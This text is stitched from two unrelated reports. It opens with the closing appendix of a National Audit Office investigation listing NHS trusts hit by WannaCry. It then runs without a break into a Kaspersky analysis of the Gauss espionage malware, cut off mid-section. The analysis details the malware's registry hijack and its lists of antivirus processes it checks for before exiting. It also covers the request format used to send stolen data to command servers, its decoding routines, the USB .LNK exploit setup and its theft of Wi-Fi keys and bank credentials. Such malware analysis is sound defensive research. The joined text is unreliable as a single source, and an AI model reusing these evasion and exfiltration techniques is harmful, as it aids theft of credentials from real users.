30 Appendix Two Investigation: WannaCry cyber attack and the NHS Appendix Two Trusts infected or disrupted by WannaCry Barts Health NHS Trust Birmingham Community Healthcare NHSFoundation Trust Blackpool Teaching Hospitals NHSFoundationTrust Bradford District Care NHS Foundation Trust Bridgewater Community Healthcare NHSFoundation Trust Central Manchester University Hospitals NHSFoundation Trust Colchester Hospital University NHSFoundationTrust Cumbria Partnership NHS Foundation Trust East and North Hertfordshire NHS Trust East Cheshire NHS Trust East Lancashire Teaching Hospitals NHS Trust Essex Partnership University NHS Foundation Trust George Eliot Hospital NHS Trust Greater Manchester Mental Health NHSFoundationTrust Hampshire Hospitals NHS Foundation Trust Hull and East Yorkshire Hospitals NHS Trust Humber NHS Foundation Trust James Paget University Hospitals NHS Foundation Trust Lancashire Care NHS Foundation Trust Lancashire Teaching Hospital NHS Trust Mid Essex Hospital Services NHS Trust Norfolk and Norwich University Hospital NHSFoundation Trust North Cumbria University Hospitals NHS Trust Northern Lincolnshire and Goole NHSFoundationTrust Northumbria Healthcare NHS Foundation Trust Nottinghamshire Healthcare NHS Foundation Trust Plymouth Hospitals NHS Trust Royal Berkshire Hospital NHS Foundation Trust Salford Royal NHS Foundation Trust Shrewsbury and Telford Hospital NHS Trust Solent NHS Trust Southport and Ormskirk Hospital NHS Trust The Dudley Group NHS Foundation Trust United Lincolnshire Hospitals NHS Trust University Hospitals of Morecambe Bay NHSFoundation Trust Wrightington, Wigan and Leigh NHSFoundationTrust York Teaching Hospitals NHS Foundation Trust Figure 6 Trusts infected, or affected, by the WannaCry attack Trusts infected by WannaCry, and locked out of devices Source: NHS England Figure 6 shows Trusts infected, or affected, by the WannaCry attack Investigation: WannaCry cyber attack and the NHS Appendix Two 31 Airedale NHS Foundation Trust Ashford and St Peters Hospitals NHSFoundationTrust Barking, Havering and Redbridge University Hospitals NHS Trust Barnsley Hospital NHS Foundation Trust Bedford Hospital NHS Trust Bradford Teaching Hospitals NHS Foundation Trust Brighton and Sussex University Hospitals NHS Trust Buckinghamshire Healthcare NHS Foundation Trust Calderdale and Huddersfield NHS Foundation Trust Central London Community Healthcare NHS Trust Chelsea and Westminster Hospital NHSFoundationTrust Doncaster and Bassetlaw Hospitals NHSFoundation Trust Dorset Healthcare NHS Foundation Trust East Kent Hospitals University NHSFoundationTrust Great Ormond Street Hospital NHSFoundationTrust Guys and St Thomas NHS Foundation Trust Harrogate and District NHS Foundation Trust Kettering General Hospital NHS Foundation Trust Kingston Hospital NHS Trust Leeds and York Partnership NHS Foundation Trust Leeds Community Healthcare NHS Trust Leeds Teaching Hospitals NHS Trust Leicestershire Partnership NHS Trust Lincolnshire Community Health Services NHS Trust Lincolnshire Partnership NHS Trust London North West Healthcare NHS Trust Luton and Dunstable NHS Trust Mid Yorkshire Hospitals NHS Trust Moorfields Eye Hospital NHS Foundation Trust North West Ambulance Service NHS Trust Northampton General Hospital NHS Trust Northamptonshire Healthcare NHSFoundationTrust Rotherham, Doncaster and South Humber NHSFoundation Trust Sheffield Childrens NHS Foundation Trust Sheffield Health and Social Care NHSFoundationTrust Sheffield Teaching Hospitals NHS Foundation Trust South West Yorkshire Partnership NHSFoundationTrust South Western Ambulance Service NHSFoundationTrust Sussex Community NHS Foundation Trust The Rotherham NHS Foundation Trust University Hospitals of Leicester NHS Trust West Hertfordshire Hospitals NHS Trust West London Mental Health NHS Trust Yorkshire Ambulance Service NHS Trust Trusts not infected by WannaCry but known to have experienced disruption Source: NHS England This report has been printed on Evolution Digital Satin and contains material sourced from responsibly managed and sustainable forests certified in accordance with the FSC (Forest Stewardship Council).
The wood pulp is totally recyclable and acid-free.
Our printers also have full ISO 14001 environmental accreditation, which ensures that they have effective procedures in place to manage waste and practices that may affect the environment.
10.00 9 781786 041470 ISBN 978-1-78604-147-0 Design and Production by NAO External Relations DP Ref: 11594-001 What this investigation is about Summary Part One The impact of the cyber attack Part Two Why some parts of the NHS were affected Part Three How the Department and the NHS responded Appendix One Our investigative approach Appendix Two Trusts infected or disrupted by WannaCry
Gauss: Abnormal Distribution Kaspersky Lab Global Research and Analysis Team Contents Introduction 3 Executive Summary 4 Infection stats 5 Operating System Statistics 7 Architecture 8 Comparison with Flame 10 Wmiqry32/Wmihlp32.dll aka ShellHW 12 Installation 12 Operation  12 Dskapi.ocx 18 USB Payload 21 thumbs.db file 22 Smdk.ocx 24 McDmn.ocx 26 Lanhlp32.ocx 27 Devwiz.ocx 29 Winshell.ocx 31 Windig.ocx 37 Gauss CC Information 39 Gauss C2 Domains Overview: 44 DNS Balancing 45 Timeline 46 Files list 47 Conclusion 49 2 Introduction While analyzing the Flame malware that we detected in May 2012,  Kaspersky Lab experts identified some distinguishing features of Flames modules.
Based on those features, we discovered that in 2009, the first variant of the Stuxnet worm included a module that was created based on the Flame platform.
This indicates that there was some form of collaboration between the groups that developed the Flame and Tilded (Stuxnet/Duqu) platforms.
Based on the results of a detailed analysis of Flame, we continued to actively search for new, unknown components.
A more in-depth analysis conducted in June 2012 resulted in the discovery of a new, previously unknown malware platform that uses a modular structure resembling that of Flame, a similar code base and system for communicating to CC servers, as well as numerous other similarities to Flame.
In our opinion, all of this clearly indicates that the new platform which we discovered and which we called Gauss,  is another example of a cyber-espionage toolkit based on the Flame platform.
Gauss is a project developed in 2011-2012 along the same lines as the Flame project.
The malware has been actively distributed in the Middle East for at least the past 10 months.
The largest number of Gauss infections has been recorded in Lebanon, in contrast to Flame, which spread primarily in Iran.
Functionally, Gauss is designed to collect as much information about infected systems as possible, as well as to steal credentials for various banking systems and social network, email and IM accounts.
The Gauss code includes commands to intercept data required to work with several Lebanese banks  for instance, Bank of Beirut, Byblos Bank, and Fransabank.
Curiously, several Gauss modules are named after famous mathematicians.
The platform includes modules that go by the names Gauss, Lagrange, Godel, Tailor, Kurt (in an apparent reference to Godel).
The Gauss module is responsible for collecting the most critical information, which is why we decided to name the entire toolkit after it.
Gauss is a much more widespread threat than Flame.
However, we have found no self-replication functionality in the modules that we have seen to date, which leaves open the question of its original attack vector.
3 Executive Summary The first known Gauss infections date back to September-October 2011.
During that period, the Gauss authors modified different modules multiple times.
They also changed command server addresses.
In the middle of July 2012, when we had already discovered Gauss and were studying it, the command servers went offline.
Gauss is designed to collect information and send the data collected to its command-and-control servers.
Information is collected using various modules, each of which has its own unique functionality: Injecting its own modules into different browsers in order to intercept user sessions and steal passwords, cookies and browser history.
Collecting information about the computers network connections.
Collecting information about processes and folders.
Collecting information about BIOS, CMOS RAM.
Collecting information about local, network and removable drives.
Infecting USB drives with a spy module in order to steal information from other computers.
Installing the custom Palida Narrow font (purpose unknown).
Ensuring the entire toolkits loading and operation.
Interacting with the command and control server, sending the information collected to it, downloading additional modules.
The spy module that works on USB drives uses an .LNK exploit for the CVE-2010-2568  (http://web.nvd.nist.gov/view/ vuln/detail?vulnIdCVE-2010-2568) vulnerability.
The exploit is similar to the one used in the Stuxnet worm, but it is more effective.
The module masks the Trojans files on the USB drive without using a driver.
It does not infect the system: information is extracted from it using a spy module (32- or 64-bit) and saved on the USB drive.
4 Infection stats We began our investigation into Gauss in early June 2012.
Based on data obtained through the Kaspersky Security Network, we noticed right away that the Trojan appeared to be widely distributed in three particular countries in the Middle East.
Further observation later confirmed this three-country concentration.
As of 31 July 2012, weve counted around 2500 unique PCs on which files from the Gauss collection have been found.
Most infected countries The highest number of infections is recorded in Lebanon, with more than 1600 computers affected.
The Gauss code (winshell.ocx) contains direct commands to intercept data required to work with Lebanese banks  including the Bank of Beirut, Byblos Bank and Fransabank.
In Israel and the Palestinian Territory, 750 incidents have been recorded.
Unique users Lebanon 1660 Israel 483 Palestinian Territory 261 United States 43 United Arab Emirates 11 Germany 5 Egypt 4 Qatar 4 Jordan 4 Saudi Arabia 4 Syria 4 Top 10 infected countries 5 As can be seen in the above table, with the exceptions of the USA and Germany, all incidents took place in the Middle East.
However, we believe that in the majority of cases linked to the USA and Germany the affected users were actually in the Middle East too - using VPNs (or the Tor anonymity network).
In all, weve recorded incidents in 25 countries around the world however, in all the countries outside the top 10 only one or two incidents have been recorded: Total infected users Regarding the spreading mechanism used by Gauss, the obtained data leave us with more questions unanswered than solved.
The overall number of infections (around 2500) that weve detected could in reality just be a small portion of tens of thousands of infections, since our statistics only cover users of Kaspersky Lab products.
6 When we compare the number of Gauss infections with those of other programs discovered earlier that have either common components or structures, we get the following figures: Name Incidents (KL stats) Incidents (approx.)
Stuxnet More than 100 000 More than 300 000 Gauss  2500 ?
Flame  700 5000-6000 Duqu 20 50-60 Gauss has been spreading in the region for at least 10 months, in the course of which it has infected thousands of systems.
On  one hand, this is an uncharacteristically high number for targeted attacks similar to Duqu (its possible that such a high number of incidents is due to the presence of a worm in one of the Gauss modules that we still dont know about).
However, the infections have been predominantly within the boundaries of a rather small geographical region.
If the malware had the ability to spread indiscriminately  for example, on USB sticks as was the case with Stuxnet  infections would have been detected in much greater numbers in other countries.
Operating System Statistics Gauss was designed for 32-bit versions of the Windows operating system.
Some of the modules do not work under Windows 7 SP1.
OS  from total Windows 7 34.87 XP Professional SP2 26.40 XP Professional SP3 17.92 Windows 7 SP1 10.77 Windows 7 Home 2.15 Vista Home SP1 1.71 Vista Home 1.22 Windows 7 Home SP1 0.88 Vista Home SP2 0.83 Vista 0.64 Vista SP2 0.39 XP Home Edition 0.39 Vista SP1 0.34 Other 1.47 There is a separate spy module that operates on USB drives (see description of dskapi.ocx) and is designed to collect information from 64-bit systems.
7 Architecture Gauss is a modular system.
The number and combination of modules may change from one infected system to another.
In the course of our research, we discovered the following modules: Module name Location Description Cosmos system32\devwiz.ocx Collects information about CMOS, BIOS Kurt, Godel system32\dskapi.ocx Infects USB drives with data-stealing module Tailor system32\lanhlp32.ocx Collects information about network interfaces McDomain system32\mcdmn.ocx Collects information about users domain UsbDir system32\smdk.ocx Collects information about computers drives Lagrange system32\windig.ocx Installs a custom Palida Narrow font Gauss system32\winshell.ocx Installs browser plugins that collect passwords and cookies ShellHW system32\wbem\wmiqry32.ocx system32\wbem\wmihlp32.ocx Main loader and communication module The configuration of a specific combination of modules for each system is described in a special registry key.
This technique, as well as the configuration structure itself, is similar to that used in Stuxnet/Duqu (storing of the configuration in the Windows registry) and Flame (configuration structure).
Flame stores its configuration in the main module (mssecmgr.ocx).
We created a special detection routine which helped us to discover various Gauss configurations based on registry settings on infected machines.
We detected about 1700 such configurations in total, which revealed a picture of modules propagation: Module Number of PC with the module (defined in config) UsbDir 1655 Godel 1220 Gauss 858 Gauss_1.1 510 Kurt (aka Godel) 433 Gauss 1.0.8 318 Tailor 28 McDomain 1.2 5 Cosmos 5 Lagrange 3 You can see three main modules, which are used in most cases  Gauss, Godel and UsbDir.
8 Some examples of different configs: Cosmos Gauss McDomain 1.2 UsbDir Cosmos Gauss 1.0.8 Godel McDomain 1.2 Tailor UsbDir Godel Gauss 1.0.8 Godel Lagrange Tailor UsdDir Gauss Kurt UsbDir As mentioned above, we have been unable to discover the original infection vector and the dropper file that installs Gauss in the system.
In all the systems we have studied, we dealt with a set of modules that was already installed.
It is possible that during initial infection, only the ShellHW component is installed, which then installs the other modules.
ShellHW (file name wmiqry32.dll/wmihlp32.dll) is the main component of the malware which ensures that all other Gauss modules are loaded when the malware starts and operate correctly.
9 Comparison with Flame As we mentioned above, there are significant similarities in code and architecture between Gauss and Flame.
In fact, it is largely due to these similarities that Gauss was discovered.
We created the following table for a clearer understanding of these facts and proof of kinship between the two attack platforms: Feature Flame Gauss Modular architecture Yes Yes Using kernel drivers No No .OCX files extensions Yes Yes Configuration settings Predefined in main body Stored in registry DLL injections Yes Yes Visual C Yes Yes Encryption methods XOR XOR Using USB as storage Yes (hub001.dat) Yes (.thumbs.db) Embedded LUA scripting Yes No Browser history/cookies stealer Yes (soapr32/nteps32) Yes (winshell) CVE2010-2568 (.LNK exploit) Yes (target.lnk) Yes (target.lnk) CC communication https https Log files/stolen data stored in temp Yes Yes Zlib compression of collected data Yes Yes In addition to the features listed above, there are considerable similarities in the operation of the Flame and Gauss CC servers.
The relevant analysis is provided in the CC Communication section.
There are more similarities in the code and data of the modules: C runtime type information (RTTI) structures are encoded to hide the names of the standard library classes.
The same encoded names can be found in both Flame and Gauss modules, i.e.
the first RTTI structure contains name AVnxsys_uwip that most likely belongs to the AVtype_info class.
rpcns4.ocx Flame module: Flask winshell.ocx Gauss module: Gauss 10 Most of Flame and Gauss modules contain  dozens of object initialization functions that construct string objects from encrypted data.
The layout of these functions is almost identical.
mssecmgr.ocx Flame main module wmiqry32.dll, wmihlp32.dll Gauss main module String decryption routines (GetDecryptedStrings used in initialization functions) are very similar, although not identical, because the layout of the structures holding encrypted strings was changed.
mssecmgr.ocx Flame main module wmiqry32.dll, wmihlp32.dll Gauss main module 11 Wmiqry32/Wmihlp32.dll aka ShellHW Installed by: Unknown dropper Operates in two modes: installation and normal operation.
File names system32\wbem\wmiqry32.dll system32\wbem\wmihlp32.dll Some known MD5 C3B8AD4ECA93114947C777B19D3C6059 08D7DDB11E16B86544E0C3E677A60E10 055AE6B8070DF0B3521D78E1B8D2FCE4 FA54A8D31E1434539FBB9A412F4D32FF 01567CA73862056304BB87CBF797B899 23D956C297C67D94F591FCB574D9325F Image Size 258 048 bytes Number of resources 7 Resources 121, 131, 141, 151, 161, 171, 181 Date of compilation Jun  1 2011 Jul 16 2011 Jul 18 2011 Sep 28 2011 Oct 20 2011 Related files temp\shw.tmp temp\stm.tmp Installation The module checks if it was loaded by lsass.exe process and, if true, proceeds with the installation.
It writes itself in files: system32\wbem\wmiqry32.dll, system32\wbem\wmihlp32.dll and modifies the system registry to be loaded instead of system32\wbem\wbemsvc.dll file.
To achieve this, it writes the following registry value: Operation The module is automatically loaded into processes that use wbemsvc.dll.
When loaded in svchost.exe that was started with -k netsvc parameter, it starts its main thread.
The module creates ShellHWStop, Global\ShellHWDetectionEvent events, mutex ShellHWDetectionMutex.
[
HKCR\CLSID\7C857801-7381-11CF-884D-00AA004B2E24\InProcServer32] Default  system32\wbem\wmihlp32.dll 12 The main thread exits if the following processes were found at its start: LMon.exe sagui.exe RDTask.exe kpf4gui.exe ALsvc.exe pxagent.exe fsma32.exe licwiz.exe SavService.exe prevxcsi.exe alertwall.exe livehelp.exe SAVAdminService.exe csi-eui.exe mpf.exe lookout.exe savprogress.exe lpfw.exe mpfcm.exe emlproui.exe savmain.exe outpost.exe fameh32.exe emlproxy.exe savcleanup.exe filemon.exe AntiHook.exe endtaskpro.exe savcli.exe procmon.exe xfilter.exe netguardlite.exe backgroundscanclient.exe Sniffer.exe scfservice.exe oasclnt.exe sdcservice.exe acs.exe scfmanager.exe omnitray.exe sdcdevconx.exe aupdrun.exe spywareterminatorshield.exe onlinent.exe sdcdevconIA.exe sppfw.exe spywat1.exe opf.exe sdcdevcon.exe spfirewallsvc.exe ssupdate.exe pctavsvc.exe configuresav.exe fwsrv.exe terminet.exe pctav.exe alupdate.exe opfsvc.exe tscutynt.exe pcviper.exe InstLsp.exe uwcdsvr.exe umxtray.exe persfw.exe CMain.exe dfw.exe updclient.exe pgaccount.exe CavAUD.exe ipatrol.exe webwall.exe privatefirewall3.exe CavEmSrv.exe pcipprev.exe winroute.exe protect.exe Cavmr.exe prifw.exe apvxdwin.exe rtt_crc_service.exe Cavvl.exe tzpfw.exe as3pf.exe schedulerdaemon.exe CavApp.exe privatefirewall3.exe avas.exe sdtrayapp.exe CavCons.exe pfft.exe avcom.exe siteadv.exe CavMud.exe armorwall.exe avkproxy.exe sndsrvc.exe CavUMAS.exe app_firewall.exe avkservice.exe snsmcon.exe UUpd.exe blackd.exe avktray.exe snsupd.exe cavasm.exe blackice.exe avkwctrl.exe procguard.exe CavSub.exe umxagent.exe avmgma.exe DCSUserProt.exe CavUserUpd.exe kpf4ss.exe avtask.exe avkwctl.exe CavQ.exe tppfdmn.exe aws.exe firewall.exe Cavoar.exe blinksvc.exe bgctl.exe THGuard.exe CEmRep.exe sp_rsser.exe bgnt.exe spybotsd.exe OnAccessInstaller.exe op_mon.exe bootsafe.exe xauth_service.exe SoftAct.exe cmdagent.exe bullguard.exe xfilter.exe CavSn.exe VCATCH.EXE cdas2.exe zlh.exe Packetizer.exe SpyHunter3.exe cmgrdian.exe adoronsfirewall.exe Packetyzer.exe wwasher.exe configmgr.exe scfservice.exe zanda.exe authfw.exe cpd.exe scfmanager.exe zerospywarele.exe dvpapi.exe espwatch.exe dltray.exe 13 zerospywarelite_installer.exe clamd.exe fgui.exe dlservice.exe Wireshark.exe sab_wab.exe filedeleter.exe ashwebsv.exe tshark.exe SUPERAntiSpyware.exe firewall.exe ashdisp.exe rawshark.exe vdtask.exe firewall2004.exe ashmaisv.exe Ethereal.exe asr.exe firewallgui.exe ashserv.exe Tethereal.exe NetguardLite.exe gateway.exe aswupdsv.exe Windump.exe nstzerospywarelite.exe hpf_.exe avastui.exe Tcpdump.exe cdinstx.exe iface.exe avastsvc.exe Netcap.exe cdas17.exe invent.exe Netmon.exe fsrt.exe ipcserver.exe CV.exe VSDesktop.exe ipctray.exe The module reads the registry value SOFTWARE\Microsoft\Windows\CurrentVersion\Reliability TimeStampForUI.
It is an encrypted configuration file.
The configuration file contains the list of additional modules, their names, DLL exports names to call and location of the modules additional files.
Gauss ShellNotifyUser ShellNotifyUserEx SetWindowEvent InitShellEx systemroot\system32\winshell.ocx temp\ws1bin.dat Godel InitCache RevertCache ValidateEntry CreateEntry windir\system32\dskapi.ocx temp\gdl.tmp UsbDir InitCache RevertCache ValidateEntry CreateEntry windir\system32\smdk.ocx temp\mdk.tmp String values from config file (example) 14 Every module is loaded and its export functions are called as specified in the configuration.
Most of the actions are logged in an encrypted (with XOR) file temp\shw.tmp.
Sample of decrypted shw.tmp After loading additional modules, it tries to acquire the same privileges as explorer.exe and then starts its CC interaction loop.
Prior to communicating with the CC, all the information from the other modules log files is copied to the shw.tmp file.
Paths to the log files are taken from the TimeStampForUI configuration file.
As a result, at this stage shw.tmp becomes a universal container file containing all the stolen data.
It checks Internet connection (https) by accessing URLs specified in its resource 161.
It then checks an https connection with www.google.com or www.update.windows.com.
If 200 OK is received in reply, it sends a request with the proxy server parameters taken from the prefs.js file of the Mozilla Firefox browser.
15 http://www.google.com When an Internet connection is available, it connects to its CC servers that are specified in resource 131: Connection is established using WinInet API and is performed in two stages: 1.
GET request to the server.
The response from the server is expected to contain new modules, commands or configuration data.
GET [CC domain]/userhome.php?sid[random  string]uidVfHx8fHx8fHx8fHx8f Hx8fHx8fE 2.
POST request to the server with the contents of the file shw.tmp that contains all data collected from the infected computer.
The response from the server is decrypted using XOR and 0xACDC as the key.
Exfiltrated data is compressed with Zlib.
The CC connection routine is controlled by a DWORD value that is read from the registry value: [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Reliability] ShutdownIntervalSnapshotUI The initial value of the counter is read from resource 181 and is equal to 56.
The counter is decremented every time the module fails to connect to its CC server or to the servers specified in resource 161 and it is reset to the initial value after every successful connection to the CC server.
The module exits the CC connection loop when the value of the counter becomes equal to zero.
Resource Description 121 3 DWORDs, related to list of AVs 131 Hostnames and URLs of CC servers 141 List of AVs, firewalls, etc.
151 Additional configuration DWORDs 161 Hostnames and URLs of legitimate sites to check Internet connection 171 String with cryptic identifiers 181 DWORD, number of attempts to connect to the CC before giving up 16 File Version:       2001.12.4414.320 Product Version:    5.1.2600.5788 File OS:            WINDOWS32 File Type:          DLL File SubType:       UNKNOWN Language/Code Page: 1033/1200 CompanyName:        Microsoft Corporation FileDescription:    WMI COM Helper FileVersion:        2001.12.4414.320 LegalCopyright:     Copyright (C) Microsoft Corp. 1995-1999 LegalTrademarks:    Microsoft(R) is a registered trademark of Microsoft Corporation.
Windows(TM) is a trade mark of Microsoft Corporation ProductName:        WMI COM Services Help ProductVersion:     05.01.2600.5788 Version info wmiqry32.dll 17 Dskapi.ocx Name of the module used in Gauss: Godel or Kurt.
File names system32\dskapi.ocx Some known MD5 ED5559B0C554055380D75C1D7F9C4424 E379270F53BA148D333134011AA3600C EF83394D9600F6D2808E0E99B5F932CA Image Size 1 327 104 bytes 954 368 bytes 962 560 bytes 417 792 bytes Number of resources 2 Resources 100, 101 Date of compilation 28.09.2011 13.10.2011 01.11.2011 29.11.2011 Related files temp\gdl.tmp .thumbs.db wabdat.dat desktop.ini target.lnk System32.dat System32.bin .CatRoot.tmp Creates events: 12258790-A76B, Global\RasSrvReady All functionality is implemented in RevertCache export.
The module starts its main thread and then returns.
The main thread waits for the 12258790-A76B event and continuously checks for the presence of anti-malware software.
ValidateEntry signals the 12258790-A76B event, allowing for the main thread to work for 3 seconds before terminating it.
Writes log file: temp\gdl.tmp The log file entries are compressed with Zlib.
Reads registry key HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum 18 Checks for running anti-malware products by names and exits if they are present: AVKProxy.exe AVKService.exe AVKTray.exe AVKWCtl.exe GDFirewallTray.exe GDFwSvc.exe GDScan.exe abcd.exe avp.exe fameh32.exe fch32.exe fsar32.exe fsav32.exe fsdfwd.exe fsgk32.exe fsgk32st.exe fsguidll.exe fshdll32.exe fsm32.exe fsma32.exe fsmb32.exe fsorsp.exe fspc.exe fsqh.exe fssm32.exe fsus.exe gsava.exe gssm32.exe vsmon.exe zapro.exe zlclient.exe It also exits if started on Windows 7 SP 1.
By querying disk enum in registry, it also tries to identify whether the storage is USB-connected or not by searching USBSTOR string in their information.
When a drive contains .thumbs.db file, its contents are read and checked for the valid magic number 0xEB397F2B.
If it matches, the module creates commonprogramfiles\system\wabdat.dat and writes the data to this file, and then deletes .thumbs.db.
Then, it infects the USB drives by creating directories with the names .Backup0[D-M] and .Backup00[D-M] Infected USB root folder (before activation) 19 Each directory contains a specially crafted desktop.ini file and target.lnk file that exploits the LNK vulnerability.
target.lnk [.ShellClassInfo] CLSID  0AFACED1-E828-11D1-9187-B532F1E9575D CLSID2  0AFACED1-E828-11D1-9187-B532F1E9575D UICLSID  0AFACED1-E828-11D1-9187-B532F1E9575D desktop.ini Listing of .Backup0 directory In the root directory of the drive it creates files System32.dat and System32.bin, the payload DLLs, and the .thumbs.db file.
The payloads are stored as resources and encrypted with a simple XOR routine.
static int decrypt(uint8_t data, unsigned int dataLen)  uint32_t acc  0xCC for ( unsigned int i  0 i  dataLen i )  uint8_t acc2  data[i] data[i]  acc acc  acc2  return 0  20 Resource File name Description 100 System32.dat (.CatRoot.tmp) 32-bit payload 101 System32.bin (.CatRoot.tmp) 64-bit payload USB Payload Both 32-bit and 64-bit DLLs implement the same functionality.
When loaded using the LNK vulnerability, they start a main thread and return.
The main thread copies the payload to TEMP directory and loads itself again.
When loaded from TEMP, it creates a mutex Isvp4003ltrEvent, patches the NtQueryDirectoryFile function in ntdll.dll so that it hides its files and then sends the F5 key event to windows of classes SysListView32, SysTreeView32, DirectUIHWND, causing Explorer directory listings to refresh.
This hides the files.
It also waits for the event Global\RasSrvReady.
Then, it retrieves the following data from the system: Version of the Windows OS Workstation info Network adapter information Routing table Process list Environment variables and disk information List of visible network shares Network proxy information List of visible MS SQL servers URL cache All this information is encoded and appended to the file .thumbs.db on the infected storage.
This file also contains a TTL (time to live) value that is decremented by 1 each time the payload starts from the infected storage.
When this counter becomes equal to zero, the payload disinfects the media by removing .Backup0 directories and System32.dat and System32.bin files, leaving .thumbs.db file with collected information.
Known value of the TTL value is 30.
There are several special versions of the payload.
They contain additional PE sections with names .exsdat, .exrdat, and .exdat.
These sections are encrypted with RC4.
The encryption key is derived from an MD5 hash performed 10000 times on a combination of PATH environment string and name of the directory in PROGRAMFILES.
The RC4 key is not yet known, neither is the contents of these sections.
The payload also contains a binary resource 100 that is also encrypted.
21 thumbs.db file This is a container for data stolen by the dskapi payload.
Offset Data 0 Magic number : 0xEB397F2B 4 TTL counter Encoded data The encoded data consists of arrays of encoded strings, separated by a magic value 0xFF875686.
Offset Description 0 Magic number : 0xFF875686  end of array of records, must search for the next Magic 0xFF875683 XOR ( recordLength  5 )  start of record 4 Encrypted string data, recordLength bytes Every record is encrypted by a simple algorithm using the characters position and record length and can be decrypted with the following code: for ( unsigned int j  0 j  recordLen j )  ptr[i  j]  recordLen ptr[i  j] - j  File Version:       5.1.3700.0 Product Version:    5.1.3700.0 File OS:            NT (WINDOWS32) File Type:          DRV File SubType:       DRV SOUND File Date:          00:00:00  00/00/0000 Language/Code Page: 1033/1200 CompanyName:        Microsoft Corporation FileDescription:    Disk Helper FileVersion:        5.1.3700.0 InternalName:       dskapi.ocx LegalCopyright:      Microsoft Corporation.
All rights reserved.
OriginalFilename:   dskapi.ocx ProductName:        Microsoft Windows Operating System ProductVersion:     5.1.3700.0 Version info dskapi.ocx 22 Smdk.ocx Name of the module used in Gauss: UsbDir File names system32\smdk.ocx Some known MD5 5604A86CE596A239DD5B232AE32E02C6 90F5C45420C295C73067AF44028CE0DD Image Size 212 992 bytes Date of compilation 27.09.2011 17.10.2011 Related files temp\mdk.tmp Creates events: B336C220-B158, Global\SmSrvReady All functionality is implemented in RevertCache export.
The module starts its main thread and then returns.
The main thread waits for the B336C220-B158 event and continuously checks for the presence of anti-malware software.
ValidateEntry signals the B336C220-B158 event, allowing for the disk enumeration routine to start.
Writes log file: temp\mdk.tmp Reads registry key HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum Checks for running antimalware products by names and exits if they are present: AVKProxy.exe AVKService.exe AVKTray.exe AVKWCtl.exe GDFirewallTray.exe GDFwSvc.exe GDScan.exe abcd.exe avp.exe fameh32.exe fch32.exe fsar32.exe fsav32.exe fsdfwd.exe fsgk32.exe fsgk32st.exe fsguidll.exe fshdll32.exe fsm32.exe fsma32.exe fsmb32.exe fsorsp.exe fspc.exe fsqh.exe fssm32.exe fsus.exe gsava.exe gssm32.exe The version of the module built on 27.09.2011 also exits if started on Windows 7 SP 1.
By querying disk enum in registry, it also tries to identify whether the storage is USB-connected or not by searching USBSTOR string in their information.
The log file entries are compressed with Zlib.
23 File Version:       5.1.3700.0 Product Version:    5.1.3700.0 File OS:            NT (WINDOWS32) File Type:          DRV File SubType:       DRV SOUND File Date:          00:00:00  00/00/0000 Language/Code Page: 1033/1200 CompanyName:        Microsoft Corporation FileDescription:    Disk Helper FileVersion:        5.1.3700.0 InternalName:       dskapi.ocx LegalCopyright:      Microsoft Corporation.
All rights reserved.
OriginalFilename:   dskapi.ocx ProductName:        Microsoft Windows Operating System ProductVersion:     5.1.3700.0 Version info smdk.ocx (the same as in dskapi.ocx) 24 McDmn.ocx Name of the module used in Gauss: McDomain File names system32\mcdmn.ocx known MD5 9CA4A49135BCCDB09931CF0DBE25B5A9 Image Size 102 400 bytes Date of compilation 16.09.2011 Related files temp\md.bak This module is a Windows DLL file with one exported function called DllRegisterServer.
It creates log file: temp\md.bak that is encrypted with 2-byte XOR.
Uses LsaQueryInformationPolicy to retrieve the name of the primary domain.
Retrieves information about network adapters.
All this information is encrypted and stored in the log file.
File Version:       2001.12.4414.320 Product Version:    5.1.2600.5788 File OS:            WINDOWS32 File Type:          DLL File SubType:       UNKNOWN File Date:          00:00:00  00/00/0000 Language/Code Page: 1033/1200 CompanyName:        Microsoft Corporation FileDescription:    Windows File Extension FileVersion:        2001.12.4414.320 LegalCopyright:     Copyright (C) Microsoft Corp. 1995-1999 LegalTrademarks:    Microsoft(R) is a registered trademark of Micro soft Corporation.
Windows(TM) is a trademark of Microsoft Corporation ProductName:        Microsoft Windows Operating System ProductVersion:     05.01.2600.5788 Version info mcdmn.ocx 25 Lanhlp32.ocx Name of the module used in Gauss: Tailor File names system32\lanhlp32.ocx Known MD5 ED2B439708F204666370337AF2A9E18F Image Size 278 528 bytes Date of compilation 26.10.2011 Related files systemroot\Temp\s61cs3.dat The module is a Windows DLL file with one exported function called DllRegisterServer.
It contains encrypted debug information that includes the location of the project, d:\projects\tailor\: d:\projects\tailor\utils\Exceptions.h ..\Utils\Buffer.cpp ..\Utils\CryptUtils.cpp ..\Utils\Event.cpp ..\Utils\EveryoneSecurityAttributes.cpp ..\Utils\File.cpp ..\Utils\Mutex.cpp ..\Utils\MyWlanApi.cpp ..\Utils\OsUtils.cpp ..\Utils\RemoteMemoryBuffer.cpp ..\Utils\Storage.cpp ..\Utils\StringUtils.cpp ..\Utils\Waiter.cpp .\SavedWNetworkConnectionsWin5.cpp .\SavedWNetworkConnectionsWin6.cpp .\VisibleNetworks.cpp Creates mutex : Global\EnvDBE Creates log file: systemroot\Temp\s61cs3.dat Operates on Windows XP, Windows Vista and Windows 7.
On Windows XP: .\SavedWNetworkConnectionsWin5.cpp Enumerates registry keys in HKLM\SOFTWARE\Microsoft\WZCSVC\Parameters\Interfaces\ Extracts Static values that contain wireless key data.
26 On Windows Vista and Windows 7 : ..\Utils\MyWlanApi.cpp .\SavedWNetworkConnectionsWin6.cpp .\VisibleNetworks.cpp Uses extended wlanapi.dll API to access WLAN information.
Enumerates available wireless interfaces, then enumerates all profiles and extracts SSID, name and wireless key information.
Then, it retrieves the list of wireless networks visible to all the wireless interfaces.
The log file is encrypted with a simple 1-byte XOR.
File Version:       5.1.3700.0 Product Version:    5.1.3700.0 File OS:            NT (WINDOWS32) File Type:          DRV File SubType:       DRV SOUND File Date:          00:00:00  00/00/0000 Language/Code Page: 1033/1200 CompanyName:        Microsoft Corporation FileDescription:    Microsoft Windows LAN Component FileVersion:        5.1.3700.0 InternalName:       lanhlp32.ocx LegalCopyright:      Microsoft Corporation.
All rights reserved.
